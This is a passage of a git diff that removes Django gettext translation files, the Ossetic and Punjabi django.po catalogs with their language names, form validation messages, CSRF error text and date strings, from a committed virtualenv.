2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Ossetic (http://www.transifex.com/django/django/language/" -"os/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: os\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Африкаанс" - -msgid "Arabic" -msgstr "Араббаг" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "Тӕтӕйраг" - -msgid "Bulgarian" -msgstr "Болгайраг" - -msgid "Belarusian" -msgstr "Беларусаг" - -msgid "Bengali" -msgstr "Бенгалаг" - -msgid "Breton" -msgstr "Бретойнаг" - -msgid "Bosnian" -msgstr "Босниаг" - -msgid "Catalan" -msgstr "Каталайнаг" - -msgid "Czech" -msgstr "Чехаг" - -msgid "Welsh" -msgstr "Уельсаг" - -msgid "Danish" -msgstr "Даниаг" - -msgid "German" -msgstr "Немыцаг" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Грекъаг" - -msgid "English" -msgstr "Англисаг" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "Бритайнаг англисаг" - -msgid "Esperanto" -msgstr "Есперанто" - -msgid "Spanish" -msgstr "Испайнаг" - -msgid "Argentinian Spanish" -msgstr "Аргентинаг испайнаг" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "Мексикайнаг Испайнаг" - -msgid "Nicaraguan Spanish" -msgstr "Никарагуайаг испайнаг" - -msgid "Venezuelan Spanish" -msgstr "Венесуелаг испайнаг" - -msgid "Estonian" -msgstr "Эстойнаг" - -msgid "Basque" -msgstr "Баскаг" - -msgid "Persian" -msgstr "Персайнаг" - -msgid "Finnish" -msgstr "Финнаг" - -msgid "French" -msgstr "Францаг" - -msgid "Frisian" -msgstr "Фризаг" - -msgid "Irish" -msgstr "Ирландиаг" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "Галициаг" - -msgid "Hebrew" -msgstr "Иврит" - -msgid "Hindi" -msgstr "Хинди" - -msgid "Croatian" -msgstr "Хорватаг" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Венгриаг" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "Интерлингва" - -msgid "Indonesian" -msgstr "Индонезиаг" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "Исландаг" - -msgid "Italian" -msgstr "Италиаг" - -msgid "Japanese" -msgstr "Япойнаг" - -msgid "Georgian" -msgstr "Гуырдзиаг" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Казахаг" - -msgid "Khmer" -msgstr "Хмераг" - -msgid "Kannada" -msgstr "Каннадаг" - -msgid "Korean" -msgstr "Корейаг" - -msgid "Luxembourgish" -msgstr "Люксембургаг" - -msgid "Lithuanian" -msgstr "Литвайаг" - -msgid "Latvian" -msgstr "Латвийаг" - -msgid "Macedonian" -msgstr "Мӕчъидон" - -msgid "Malayalam" -msgstr "Малайаг" - -msgid "Mongolian" -msgstr "Монголиаг" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "Бурмизаг" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "Непалаг" - -msgid "Dutch" -msgstr "Нидерландаг" - -msgid "Norwegian Nynorsk" -msgstr "Норвегийаг Нинорск" - -msgid "Ossetic" -msgstr "Ирон" - -msgid "Punjabi" -msgstr "Пенджабаг" - -msgid "Polish" -msgstr "Полаг" - -msgid "Portuguese" -msgstr "Португалаг" - -msgid "Brazilian Portuguese" -msgstr "Бразилаг португалаг" - -msgid "Romanian" -msgstr "Румынаг" - -msgid "Russian" -msgstr "Уырыссаг" - -msgid "Slovak" -msgstr "Словакиаг" - -msgid "Slovenian" -msgstr "Словенаг" - -msgid "Albanian" -msgstr "Албайнаг" - -msgid "Serbian" -msgstr "Сербаг" - -msgid "Serbian Latin" -msgstr "Латинаг Сербаг" - -msgid "Swedish" -msgstr "Шведаг" - -msgid "Swahili" -msgstr "Суахили" - -msgid "Tamil" -msgstr "Тамилаг" - -msgid "Telugu" -msgstr "Телугу" - -msgid "Thai" -msgstr "Тайаг" - -msgid "Turkish" -msgstr "Туркаг" - -msgid "Tatar" -msgstr "Тӕтӕйраг" - -msgid "Udmurt" -msgstr "Удмуртаг" - -msgid "Ukrainian" -msgstr "Украинаг" - -msgid "Urdu" -msgstr "Урду" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Вьетнамаг" - -msgid "Simplified Chinese" -msgstr "Ӕнцонгонд Китайаг" - -msgid "Traditional Chinese" -msgstr "Традицион Китайаг" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Раст бӕрц бафысс." - -msgid "Enter a valid URL." -msgstr "Раст URL бафысс." - -msgid "Enter a valid integer." -msgstr "" - -msgid "Enter a valid email address." -msgstr "Раст email адрис бафысс." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Раст IPv4 адрис бафысс." - -msgid "Enter a valid IPv6 address." -msgstr "Раст IPv6 адрис бафысс." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Раст IPv4 кӕнӕ IPv6 адрис бафысс." - -msgid "Enter only digits separated by commas." -msgstr "Бафысс ӕрмӕст нымӕцтӕ, къӕдзгуытӕй дихгонд." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Ацы бӕрц хъуамӕ уа %(limit_value)s (у %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Ацы бӕрц хъуамӕ уа %(limit_value)s, кӕнӕ цъусдӕр." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Ацы бӕрц хъуамӕ уа %(limit_value)s, кӕнӕ цъусдӕр." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Дӕ хъус бадар цӕмӕй ам %(limit_value)d дамгъӕ уӕддӕр уа (ис дзы " -"%(show_value)d)." -msgstr[1] "" -"Дӕ хъус бадар цӕмӕй ам %(limit_value)d дамгъӕйы уӕддӕр уа (ис дзы " -"%(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Дӕ хъус бадар цӕмӕй ам %(limit_value)d дамгъӕйӕ фылдӕр ма уа (ис дзы " -"%(show_value)d)." -msgstr[1] "" -"Дӕ хъус бадар цӕмӕй ам %(limit_value)d дамгъӕйӕ фылдӕр ма уа (ис дзы " -"%(show_value)d)." - -msgid "Enter a number." -msgstr "Бафысс нымӕц." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Дӕ хъус бадар цӕмӕй иууыл иумӕ %(max)s цифрӕйӕ фылдӕр уой." -msgstr[1] "Дӕ хъус бадар цӕмӕй иууыл иумӕ %(max)s цифрӕйӕ фылдӕр уой." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Дӕ хъус бадар цӕмӕй дӕсон бынӕттӕ %(max)s-ӕй фылдӕр ма уой." -msgstr[1] "Дӕ хъус бадар цӕмӕй дӕсон бынӕттӕ %(max)s-ӕй фылдӕр ма уой." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -"Дӕ хъус бадар цӕмӕй дӕсон стъӕлфы размӕ %(max)s цифрӕйӕ фылдӕр ма уа." -msgstr[1] "" -"Дӕ хъус бадар цӕмӕй дӕсон стъӕлфы размӕ %(max)s цифрӕйӕ фылдӕр ма уа." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "ӕмӕ" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "Ацы быдыр нул ма хъуамӕ уа." - -msgid "This field cannot be blank." -msgstr "Ацы быдыр афтид ма хъуамӕ уа." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s ацы %(field_label)s-имӕ нырид ис." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Быдыры хуыз: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Булон (Бӕлвырд кӕнӕ Мӕнг)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Рӕнхъ (%(max_length)s-ы йонг)" - -msgid "Comma-separated integers" -msgstr "Къӕдзыгӕй хицӕнгонд ӕгас нымӕцтӕ" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Бон (ӕнӕ рӕстӕг)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Бон (ӕд рӕстӕг)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Дӕсон нымӕц" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "Электрон посты адрис" - -msgid "File path" -msgstr "Файлы фӕт" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Уӕгъд стъӕлфимӕ нымӕц" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Ӕгас нымӕц" - -msgid "Big (8 byte) integer" -msgstr "Стыр (8 байты) ӕгас нымӕц" - -msgid "IPv4 address" -msgstr "IPv4 адрис" - -msgid "IP address" -msgstr "IP адрис" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Булон (Бӕлвырд, Мӕнг кӕнӕ Ницы)" - -msgid "Positive integer" -msgstr "Позитивон ӕгас нымӕц" - -msgid "Positive small integer" -msgstr "Позитивон гыццыл ӕгас нымӕц" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Слаг (ӕппӕты фылдӕр %(max_length)s)" - -msgid "Small integer" -msgstr "Гыццыл ӕгас нымӕц" - -msgid "Text" -msgstr "Текст" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Рӕстӕг" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Хом бинарон рардтӕ" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Файл" - -msgid "Image" -msgstr "Ныв" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "Ӕттагон Амонӕн (хӕстӕг быдырӕй бӕрӕггонд хуыз)" - -msgid "One-to-one relationship" -msgstr "Иуӕн-иу бастдзинад" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "Бирӕйӕн-бирӕ бастдзинад" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr "" - -msgid "This field is required." -msgstr "Ацы быдыр ӕнӕмӕнг у." - -msgid "Enter a whole number." -msgstr "Бафысс ӕнӕхъӕн нымӕц." - -msgid "Enter a valid date." -msgstr "Раст бон бафысс." - -msgid "Enter a valid time." -msgstr "Раст рӕстӕг бафысс." - -msgid "Enter a valid date/time." -msgstr "Раст бон/рӕстӕг бафысс." - -msgid "Enter a valid duration." -msgstr "" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Ницы файл уыд лӕвӕрд. Абӕрӕг кӕн формӕйы кодкӕнынады хуыз." - -msgid "No file was submitted." -msgstr "Ницы файл уыд лӕвӕрд." - -msgid "The submitted file is empty." -msgstr "Лӕвӕрд файл афтид у." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Дӕ хъус бадар цӕмӕй ацы файлы номы %(max)d дамгъӕйӕ фылдӕр ма уа(ис дзы " -"%(length)d)." -msgstr[1] "" -"Дӕ хъус бадар цӕмӕй ацы файлы номы %(max)d дамгъӕйӕ фылдӕр ма уа(ис дзы " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Дӕ хорзӕхӕй, кӕнӕ бадӕтт файл, кӕнӕ банысан кӕн сыгъдӕг чекбокс. Дыууӕ иумӕ " -"нӕ." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Раст ныв бавгӕн. Ды цы файл бавгӕдтай, уый кӕнӕ ныв нӕ уыд, кӕнӕ хӕлд ныв " -"уыд." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Раст фадат равзар. %(value)s фадӕтты ӕхсӕн нӕй." - -msgid "Enter a list of values." -msgstr "Бафысс мидисты номхыгъд." - -msgid "Enter a complete value." -msgstr "" - -msgid "Enter a valid UUID." -msgstr "" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr "" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Ӕмбӕхст быдыр %(name)s) %(error)s" - -msgid "ManagementForm data is missing or has been tampered with" -msgstr "" - -#, python-format -msgid "Please submit %d or fewer forms." -msgid_plural "Please submit %d or fewer forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit %d or more forms." -msgid_plural "Please submit %d or more forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "Рад" - -msgid "Delete" -msgstr "Схафын" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Дӕ хорзӕхӕй, %(field)s-ы дывӕр рардтӕ сраст кӕн." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Дӕ хорзӕхӕй, %(field)s-ы дывӕр рардтӕ сраст кӕн. Хъуамӕ уникалон уа." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Дӕ хорзӕхӕй, %(field_name)s-ы дывӕр рардтӕ сраст кӕн. Хъуамӕ %(date_field)s-" -"ы %(lookup)s-ӕн уникалон уа. " - -msgid "Please correct the duplicate values below." -msgstr "Дӕ хорзӕхӕй, бындӕр цы дывӕр рардтӕ ис, уыдон сраст кӕн." - -msgid "The inline value did not match the parent instance." -msgstr "" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Раст фадат равзар. УКыцы фадат фадӕтты ӕхсӕн нӕй." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Сыгъдӕг" - -msgid "Currently" -msgstr "Ныр" - -msgid "Change" -msgstr "Фӕивын" - -msgid "Unknown" -msgstr "Ӕнӕбӕрӕг" - -msgid "Yes" -msgstr "О" - -msgid "No" -msgstr "Нӕ" - -msgid "Year" -msgstr "" - -msgid "Month" -msgstr "" - -msgid "Day" -msgstr "" - -msgid "yes,no,maybe" -msgstr "о,нӕ,гӕнӕн ис" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d байт" -msgstr[1] "%(size)d байты" - -#, python-format -msgid "%s KB" -msgstr "%s КБ" - -#, python-format -msgid "%s MB" -msgstr "%s МБ" - -#, python-format -msgid "%s GB" -msgstr "%s ГБ" - -#, python-format -msgid "%s TB" -msgstr "%s ТБ" - -#, python-format -msgid "%s PB" -msgstr "%s ПБ" - -msgid "p.m." -msgstr "ӕ.ф." - -msgid "a.m." -msgstr "ӕ.р." - -msgid "PM" -msgstr "ӔФ" - -msgid "AM" -msgstr "ӔР" - -msgid "midnight" -msgstr "ӕмбисӕхсӕв" - -msgid "noon" -msgstr "ӕмбисбон" - -msgid "Monday" -msgstr "Къуырисӕр" - -msgid "Tuesday" -msgstr "Дыццӕг" - -msgid "Wednesday" -msgstr "Ӕртыццӕг" - -msgid "Thursday" -msgstr "Цыппӕрӕм" - -msgid "Friday" -msgstr "Майрӕмбон" - -msgid "Saturday" -msgstr "Сабат" - -msgid "Sunday" -msgstr "Хуыцаубон" - -msgid "Mon" -msgstr "Крс" - -msgid "Tue" -msgstr "Дцг" - -msgid "Wed" -msgstr "Ӕрт" - -msgid "Thu" -msgstr "Цпр" - -msgid "Fri" -msgstr "Мрб" - -msgid "Sat" -msgstr "Сбт" - -msgid "Sun" -msgstr "Хцб" - -msgid "January" -msgstr "Январь" - -msgid "February" -msgstr "Февраль" - -msgid "March" -msgstr "Мартъи" - -msgid "April" -msgstr "Апрель" - -msgid "May" -msgstr "Май" - -msgid "June" -msgstr "Июнь" - -msgid "July" -msgstr "Июль" - -msgid "August" -msgstr "Август" - -msgid "September" -msgstr "Сентябрь" - -msgid "October" -msgstr "Октябрь" - -msgid "November" -msgstr "Ноябрь" - -msgid "December" -msgstr "Декабрь" - -msgid "jan" -msgstr "янв" - -msgid "feb" -msgstr "фев" - -msgid "mar" -msgstr "мар" - -msgid "apr" -msgstr "апр" - -msgid "may" -msgstr "май" - -msgid "jun" -msgstr "июн" - -msgid "jul" -msgstr "июл" - -msgid "aug" -msgstr "авг" - -msgid "sep" -msgstr "сен" - -msgid "oct" -msgstr "окт" - -msgid "nov" -msgstr "ноя" - -msgid "dec" -msgstr "дек" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Янв." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Фев." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Мартъи" - -msgctxt "abbrev. month" -msgid "April" -msgstr "Апрель" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Май" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Июнь" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Июль" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Авг." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Сен." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Окт." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Ноя." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Дек." - -msgctxt "alt. month" -msgid "January" -msgstr "Январь" - -msgctxt "alt. month" -msgid "February" -msgstr "Февраль" - -msgctxt "alt. month" -msgid "March" -msgstr "Мартъи" - -msgctxt "alt. month" -msgid "April" -msgstr "Апрель" - -msgctxt "alt. month" -msgid "May" -msgstr "Май" - -msgctxt "alt. month" -msgid "June" -msgstr "Июнь" - -msgctxt "alt. month" -msgid "July" -msgstr "Июль" - -msgctxt "alt. month" -msgid "August" -msgstr "Август" - -msgctxt "alt. month" -msgid "September" -msgstr "Сентябрь" - -msgctxt "alt. month" -msgid "October" -msgstr "Октябрь" - -msgctxt "alt. month" -msgid "November" -msgstr "Ноябрь" - -msgctxt "alt. month" -msgid "December" -msgstr "Декабрь" - -msgid "This is not a valid IPv6 address." -msgstr "" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "кӕнӕ" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%d year" -msgid_plural "%d years" -msgstr[0] "%d аз" -msgstr[1] "%d азы" - -#, python-format -msgid "%d month" -msgid_plural "%d months" -msgstr[0] "%d мӕй" -msgstr[1] "%d мӕйы" - -#, python-format -msgid "%d week" -msgid_plural "%d weeks" -msgstr[0] "%d къуыри" -msgstr[1] "%d къуырийы" - -#, python-format -msgid "%d day" -msgid_plural "%d days" -msgstr[0] "%d бон" -msgstr[1] "%d боны" - -#, python-format -msgid "%d hour" -msgid_plural "%d hours" -msgstr[0] "%d сахат" -msgstr[1] "%d сахаты" - -#, python-format -msgid "%d minute" -msgid_plural "%d minutes" -msgstr[0] "%d минут" -msgstr[1] "%d минуты" - -msgid "0 minutes" -msgstr "0 минуты" - -msgid "Forbidden" -msgstr "" - -msgid "CSRF verification failed. Request aborted." -msgstr "" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your Web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" - -msgid "More information is available with DEBUG=True." -msgstr "" - -msgid "No year specified" -msgstr "Аз амынд нӕ уыд" - -msgid "Date out of range" -msgstr "" - -msgid "No month specified" -msgstr "Мӕй амынд нӕ уыд" - -msgid "No day specified" -msgstr "Бон амынд нӕ уыд" - -msgid "No week specified" -msgstr "Къуыри амынд нӕ уыд" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Ницы %(verbose_name_plural)s ис" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Фидӕн %(verbose_name_plural)s-мӕ бавналӕн нӕй, уымӕн ӕмӕ %(class_name)s." -"allow_future Мӕнг у." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Домӕнӕн ницы %(verbose_name)s ӕмбӕлы" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Мӕнг фарс (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Ам директориты индекстӕ нӕй гӕнӕн." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s-ы индекс" - -msgid "Django: the Web framework for perfectionists with deadlines." -msgstr "" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" - -msgid "The install worked successfully! Congratulations!" -msgstr "" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not configured any " -"URLs." -msgstr "" - -msgid "Django Documentation" -msgstr "" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pa/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/pa/LC_MESSAGES/django.mo deleted file mode 100644 index a8fa88b4..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/pa/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/pa/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/pa/LC_MESSAGES/django.po deleted file mode 100644 index d71b5f7b..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/pa/LC_MESSAGES/django.po +++ /dev/null @@ -1,1213 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# A S Alam , 2011,2013,2015 -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Panjabi (Punjabi) (http://www.transifex.com/django/django/" -"language/pa/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: pa\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "ਅਫਰੀਕੀ" - -msgid "Arabic" -msgstr "ਅਰਬੀ" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "ਅਜ਼ਰਬਾਈਜਾਨੀ" - -msgid "Bulgarian" -msgstr "ਬੁਲਗਾਰੀਆਈ" - -msgid "Belarusian" -msgstr "ਬੇਲਾਰੂਸੀ" - -msgid "Bengali" -msgstr "ਬੰਗਾਲੀ" - -msgid "Breton" -msgstr "ਬਰੇਟੋਨ" - -msgid "Bosnian" -msgstr "ਬੋਸਨੀਆਈ" - -msgid "Catalan" -msgstr "ਕਾਟਾਲਾਨ" - -msgid "Czech" -msgstr "ਚੈੱਕ" - -msgid "Welsh" -msgstr "ਵੈਲਸ਼" - -msgid "Danish" -msgstr "ਡੈਨਿਸ਼" - -msgid "German" -msgstr "ਜਰਮਨ" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "ਗਰੀਕ" - -msgid "English" -msgstr "ਅੰਗਰੇਜ਼ੀ" - -msgid "Australian English" -msgstr "" - -msgid "British English" -msgstr "ਬਰਤਾਨੀਵੀਂ ਅੰਗਰੇਜ਼ੀ" - -msgid "Esperanto" -msgstr "" - -msgid "Spanish" -msgstr "ਸਪੇਨੀ" - -msgid "Argentinian Spanish" -msgstr "ਅਰਜਨਟੀਨੀ ਸਪੇਨੀ" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "ਮੈਕਸੀਕਨ ਸਪੇਨੀ" - -msgid "Nicaraguan Spanish" -msgstr "" - -msgid "Venezuelan Spanish" -msgstr "" - -msgid "Estonian" -msgstr "ਈਸਟੋਨੀਆਈ" - -msgid "Basque" -msgstr "ਬਸਕਿਊ" - -msgid "Persian" -msgstr "ਪਰਸ਼ੀਆਈ" - -msgid "Finnish" -msgstr "ਫੈਨਿਸ਼" - -msgid "French" -msgstr "ਫਰੈਂਚ" - -msgid "Frisian" -msgstr "ਫ਼ਾਰਸੀ" - -msgid "Irish" -msgstr "ਆਈਰਸ਼" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "ਗਲੀਸੀਆਈ" - -msgid "Hebrew" -msgstr "ਹੈਬਰਿਊ" - -msgid "Hindi" -msgstr "ਹਿੰਦੀ" - -msgid "Croatian" -msgstr "ਕਰੋਆਟੀਆਈ" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "ਹੰਗਰੀਆਈ" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "ਇੰਡੋਨੇਸ਼ੀਆਈ" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "ਆਈਸਲੈਂਡਿਕ" - -msgid "Italian" -msgstr "ਇਤਾਲਵੀ" - -msgid "Japanese" -msgstr "ਜਾਪਾਨੀ" - -msgid "Georgian" -msgstr "ਜਾਰਜੀਆਈ" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr 